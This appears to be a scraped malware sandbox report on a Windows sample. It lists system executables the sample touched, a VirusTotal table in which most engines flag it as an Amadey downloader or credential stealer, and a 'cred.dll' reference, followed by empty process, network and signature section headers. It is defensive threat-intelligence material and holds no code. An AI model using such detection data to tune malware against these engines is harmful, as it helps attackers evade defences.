file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 54 AntiVirus engines on VirusTotal as malicious (50 out of 54 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Stealer.12!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Lazy.492566
CAT-QuickHeal	TrojanSpy.Stealer
ALYac	Gen:Variant.Lazy.492566
Cylance	Unsafe
VIPRE	Gen:Variant.Lazy.492566
Sangfor	Infostealer.Win32.Amadey.V2zk
K7AntiVirus	Trojan-Downloader ( 005a0ec91 )
BitDefender	Gen:Variant.Lazy.492566
K7GW	Trojan-Downloader ( 005a0ec91 )
Arcabit	Trojan.Lazy.D78416
VirIT	Trojan.Win32.GenusT.DXAG
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/TrojanDownloader.Amadey.G
Avast	Win32:BotX-gen [Trj]
ClamAV	Win.Keylogger.Zusy-10017136-0
Kaspersky	HEUR:Trojan-Spy.Win32.Stealer.gen
Alibaba	TrojanSpy:Win32/Stealer.ebc34863
NANO-Antivirus	Trojan.Win32.SpyBot.kqbyea
Rising	Stealer.Agent!8.C2 (TFE:5:1tQNmVJHBpU)
Emsisoft	Gen:Variant.Lazy.492566 (B)
F-Secure	Heuristic.HEUR/AGEN.1374093
DrWeb	Trojan.SpyBot.1358
Zillya	Downloader.Amadey.Win32.439
TrendMicro	TROJ_GEN.R002C0XGJ24
McAfeeD	ti!464C9F3DBDB0
FireEye	Generic.mg.d696e4ee5dac5d3e
Sophos	Mal/Generic-S
Webroot	W32.Trojan.Gen
Google	Detected
Avira	HEUR/AGEN.1374093
MAX	malware (ai score=81)
Antiy-AVL	Trojan[Downloader]/Win32.Amadey
Gridinsoft	Trojan.Win32.Downloader.sa
Microsoft	Trojan:Win32/Amadey.RDAB!MTB
ZoneAlarm	HEUR:Trojan-Spy.Win32.Stealer.gen
GData	Gen:Variant.Lazy.492566
Varist	W32/ABApplication.XVKF-1121
AhnLab-V3	Trojan/Win.Generic.R642802
BitDefenderTheta	Gen:NN.ZedlaF.36810.cv4@aOa1Kubi
DeepInstinct	MALICIOUS
Malwarebytes	Floxif.Virus.FileInfector.DDS
Ikarus	Trojan-PSW.Agent
Panda	Trj/Genetic.gen
TrendMicro-HouseCall	TROJ_GEN.R002C0XGJ24
Tencent	Malware.Win32.Gencirc.1412f262
huorong	TrojanSpy/Stealer.hk
Fortinet	W32/Amadey.G!tr.dldr

cred.dll

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All